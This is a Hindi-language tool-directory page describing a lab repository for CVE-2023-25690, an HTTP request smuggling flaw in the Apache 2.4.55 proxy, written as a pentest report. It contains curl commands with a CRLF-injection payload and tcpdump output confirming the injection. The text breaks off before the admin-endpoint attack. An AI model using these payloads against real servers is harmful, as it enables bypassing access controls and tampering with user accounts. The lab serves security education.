Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2023-25690_lab — HTTP Request Smuggling लैब: Apache 2.4.55 CRLF injection | Kitploit
उपकरण/GitHubGitHub/giordy0424/cve-2023-25690_lab
भेद्यता विश्लेषणवेब एप्लिकेशन शोषणCTFपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubgiordy0424/cve-2023-25690_lab

CVE-2023-25690_lab

HTTP Request Smuggling लैब: Apache 2.4.55 CRLF injection

रिपॉजिटरी देखें
81 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Apache प्रॉक्सी के माध्यम से HTTP Request Smuggling

पर्यावरण कॉन्फ़िगरेशन

इन्फ्रास्ट्रक्चर

घटकभूमिकासंस्करण
Apache HTTP Serverरिवर्स प्रॉक्सी2.4.55 (कमजोर)
Spring Boot (एम्बेडेड Tomcat)बैकएंड API4.x (Java 21)
SQLiteडेटाबेस—
उपयोगकर्ता ──► Apache :80 (प्रॉक्सी) ──► Spring Boot :8080 (बैकएंड) ──► SQLite
            │
            ├─ mod_rewrite + mod_proxy
            ├─ CVE-2023-25690: CRLF सैनिटाइज़ नहीं किए गए
            ├─ RewriteRule "^/public/?(.*)" "http://spring-backend:8080/public/$1" [P]
            ├─ RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
            └─ ACL: <Location "/admin"> अवरुद्ध

सार्वजनिक बैकएंड एंडपॉइंट

POST /public/register: उपयोगकर्ताओं को डेटाबेस में पंजीकृत करने की अनुमति देता है
POST /public/login: दर्ज किए गए क्रेडेंशियल्स के सत्यापन के माध्यम से लॉगिन की अनुमति देता है और सत्र टोकन जारी करता है
GET /public/dashboard: उपयोगकर्ताओं का आरक्षित क्षेत्र
GET /api/status: "name" पैरामीटर स्वीकार करता है, सेवाओं की स्थिति सत्यापन के लिए एक उदाहरण एंडपॉइंट है
GET /public/logout

निजी बैकएंड एंडपॉइंट

POST /admin/edit/{id}/{newName}/{newPass}: यह एक ऐसा रूट है जो सैद्धांतिक रूप से जनता के लिए दुर्गम है और प्रशासकों को उपयोगकर्ता डेटा संशोधित करने की अनुमति देता है

पेनेट्रेशन टेस्ट के लिए संदर्भ पद्धति

  1. Planning — स्कोप परिभाषा
  2. Discovery — सूचना संग्रह, फुटप्रिंटिंग, स्कैनिंग और एन्यूमरेशन, कमजोरी विश्लेषण
  3. Attack — एक्सप्लॉइट, विशेषाधिकार वृद्धि
  4. Reporting — कार्यकारी सारांश, तकनीकी रिपोर्ट

कार्यकारी सारांश

पेनेट्रेशन टेस्टिंग गतिविधि के दौरान रिवर्स प्रॉक्सी इन्फ्रास्ट्रक्चर में एक गंभीर कमजोरी की पहचान की गई जो Spring Boot बैकएंड को उजागर करती है। Apache HTTP Server संस्करण 2.4.55 प्रॉक्सी CVE-2023-25690 (HTTP Request Smuggling) कमजोरी से प्रभावित है, जो हमलावर को प्रॉक्सी पर लगाए गए सुरक्षा फ़िल्टर को बायपास करने और सीधे असुरक्षित आंतरिक प्रशासनिक एंडपॉइंट तक पहुंचने की अनुमति देता है।

हमला Apache की RewriteRule में नियंत्रण वर्णों (CRLF) के सैनिटाइज़ेशन की कमी का फायदा उठाता है, जिससे बैकएंड की ओर एक वैध अनुरोध के पैरामीटर के बीच दूसरा HTTP अनुरोध इंजेक्ट किया जा सकता है। प्रूफ ऑफ कॉन्सेप्ट ने /admin/edit/{id}/{newName}/{newPass} एंडपॉइंट के माध्यम से डेटाबेस में उपयोगकर्ता क्रेडेंशियल्स के अनधिकृत संशोधन को प्रदर्शित किया, जो सैद्धांतिक रूप से प्रॉक्सी ACL द्वारा संरक्षित है।

अनुशंसाएँ: Apache HTTP Server को तुरंत ≥ 2.4.56 संस्करण में अपडेट करें, प्रॉक्सी पर सुरक्षा फ़िल्टर मजबूत करें, और सभी संवेदनशील एंडपॉइंट के लिए बैकएंड साइड (Spring Security) पर सुरक्षा परत लागू करें।


1 Planning

1.1 तरीका

  • हमले का वेक्टर: इंटरनेट
  • हमला करने का वातावरण: उत्पादन

1.2 ग्रे बॉक्स - ज्ञात जानकारी:

  • फ्रंट-एंड होस्टनाम
  • बैक-एंड होस्टनाम (या कंपनी के स्थानीय नेटवर्क में आईपी पता) और पोर्ट
  • निजी एंडपॉइंट

1.3 परीक्षण के उद्देश्य

  • निजी एंडपॉइंट तक पहुंचने के लिए Apache की ACL को बायपास करना
  • डेटाबेस में उपयोगकर्ता डेटा के अनधिकृत संशोधन को प्रदर्शित करना
  • वास्तविक परिदृश्य में CVE-2023-25690 के ठोस प्रभाव का मूल्यांकन करना

2 कमजोरी मूल्यांकन — Discovery चरण

2.1 सूचना संग्रह और फुटप्रिंटिंग

2.1.1 बैनर ग्रैबिंग

प्रतिक्रिया के HTTP हेडर के विश्लेषण के माध्यम से Apache संस्करण की पहचान।

$ curl -I http://localhost/service/

HTTP/1.1 200
Date: Sun, 21 Jun 2026 08:54:00 GMT
Server: Apache/2.4.55 (Unix)
Content-Type: text/plain;charset=UTF-8
Content-Length: 42

परिणाम: सर्वर हेडर Apache/2.4.55 प्रकट करता है। CVE डेटाबेस की जांच → CVE-2023-25690 से मेल खाता है।

CVE के अनुसार, Apache के इस संस्करण में, यदि कोई RewriteRule मौजूद है जो प्रॉक्सी से आने वाले अनुरोध के सामान्य वर्णों को बैक-एंड के गंतव्य URL में कॉपी करती है, तो कॉपी किया गया टेक्स्ट सैनिटाइज़ नहीं होता है, इसलिए नियंत्रण वर्ण (जैसे कैरिज रिटर्न) भी गुजर जाते हैं

उदाहरण के लिए: RewriteRule "^/here/(.*)" "http://backend.com:8080/elsewhere?$1" [P] // P का मतलब प्रॉक्सी मोड है

इसलिए अब हमारा लक्ष्य किसी संभावित एंडपॉइंट की खोज करना है जो प्रॉक्सी स्तर पर यह ट्रांसक्रिप्शन करता है

2.1.2 बैकएंड प्रौद्योगिकियों की पहचान

प्रतिक्रियाओं के विश्लेषण और एप्लिकेशन के व्यवहार से यह देखा गया है कि सत्र JSESSIONID के माध्यम से प्रबंधित होता है, जो Java Servlet Container (जैसे Apache Tomcat, Jetty या WildFly) के उपयोग की पुष्टि करता है। इसके अलावा, गैर-मौजूद एंडपॉइंट पर अनुरोध "Whitelabel Error Page" लौटाता है जो दर्शाता है कि बैकएंड में Spring Boot है।

2.2 स्कैनिंग और एन्यूमरेशन

2.2.1 एंडपॉइंट डिस्कवरी (फज़िंग)

डिक्शनरी-आधारित फज़िंग के स्वचालन के लिए bash स्क्रिप्ट के माध्यम से नेटवर्क पर उजागर एंडपॉइंट (संभवतः सभी) मैप किए गए हैं

परिणाम:

एंडपॉइंटHTTP कोडविधिपैरामीटर
admin403GET(कोई पैरामीटर नहीं)
public/register200POSTuser=test&pass=test
public/login200POSTuser=test&pass=test
public/dashboard200GET(कोई पैरामीटर नहीं)
public/logout200GET(कोई पैरामीटर नहीं)
api/status200GET(कोई पैरामीटर नहीं)
service/*200GET(कोई पैरामीटर नहीं)

2.2.2 प्रॉक्सी कॉन्फ़िगरेशन मैपिंग (अनुमान)

चूंकि

  • /service/x
  • /api/status?name=x

दोनों समान प्रतिक्रिया लौटाते हैं, यह समझा जाता है कि वे बैक-एंड के समान एंडपॉइंट की ओर इशारा करते हैं। इसके अलावा, चूंकि /service/x/y/z जैसे अनुरोध (जो संभवतः मौजूद नहीं हैं) 404 नहीं लौटाते हैं, यह अनुमान लगाया जा सकता है कि मूल एंडपॉइंट एक पैरामीटर स्वीकार करता है न कि path variable। इसलिए निष्कर्ष में यह अनुमान लगाया जा सकता है कि /service/<सेवा> के अनुरोध Spring Boot बैकएंड के लिए RewriteRule के साथ अनुवादित होते हैं (ठीक वही जो हम खोज रहे थे)। अब यह समझना है कि क्या यह RewriteRule डमी है, यानी .* जैसी regex का उपयोग करती है या अच्छी तरह से संरचित है।

मैं वैध सामग्री को छिपी हुई सामग्री से अलग करने के लिए अनुरोध में नियंत्रण वर्ण डालने का प्रयास करता हूं:

curl -v --path-as-is 'localhost/service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aprova:%20ok%0d%0atrash_header:%20'

>> ... HTTP/1.1 200 ... सेवा 'x' संचालित और स्थिर है।

मैंने यह सत्यापित करने के लिए एक कस्टम पैरामीटर डाला है कि CRLF सही ढंग से व्याख्या किए गए हैं

trash_header का कार्य उन हेडरों को समाहित करना है जो Apache बैकएंड को अनुरोध में जोड़ेगा (इस तरह वे X-Header के सरल टेक्स्ट के रूप में व्याख्या किए जाएंगे और HTTP अनुरोध के उद्देश्य के लिए उनका कोई मूल्य नहीं होगा)


हमलावर के दायरे से बाहर

बैक-एंड कंटेनर में tcpdump के साथ मैं Apache से आने वाले HTTP अनुरोध को इंटरसेप्ट करने में सक्षम था:

docker exec -it apache_vuln-spring-backend-1 sh
apk add tcpdump
tcpdump -i any -A port 8080

बैक-एंड यह अनुरोध देखता है:

GET /api/status?name=x HTTP/1.1
Host: spring-backend

prova: ok
trash_header:  HTTP/1.1
Host: spring-backend:8080
User-Agent: curl/7.81.0
Accept: */*
X-Forwarded-For: 172.19.0.1
X-Forwarded-Host: localhost
X-Forwarded-Server: localhost
Connection: Keep-Alive

"नियंत्रण वर्णों ने नियंत्रण कर लिया है"

प्रतिक्रिया मुझे इंगित करती है कि नियंत्रण वर्णों वाला भाग HTTP अनुरोध की संरचना के रूप में बिना किसी बाधा के पारित हो गया है, न कि केवल एक पैरामीटर के रूप में (क्योंकि बैकएंड द्वारा कैप्चर किया गया नाम केवल 'x' है)। इसलिए हमने बैकएंड की ओर HTTP अनुरोध का प्रारूप लागू कर दिया है और प्रॉक्सी ने इसे स्वीकार कर लिया है, यह स्मगलिंग के लिए वास्तविक पेलोड का मार्ग खोलता है।

2.3 हमले की सतह मैपिंग

टूल डाउनलोड करें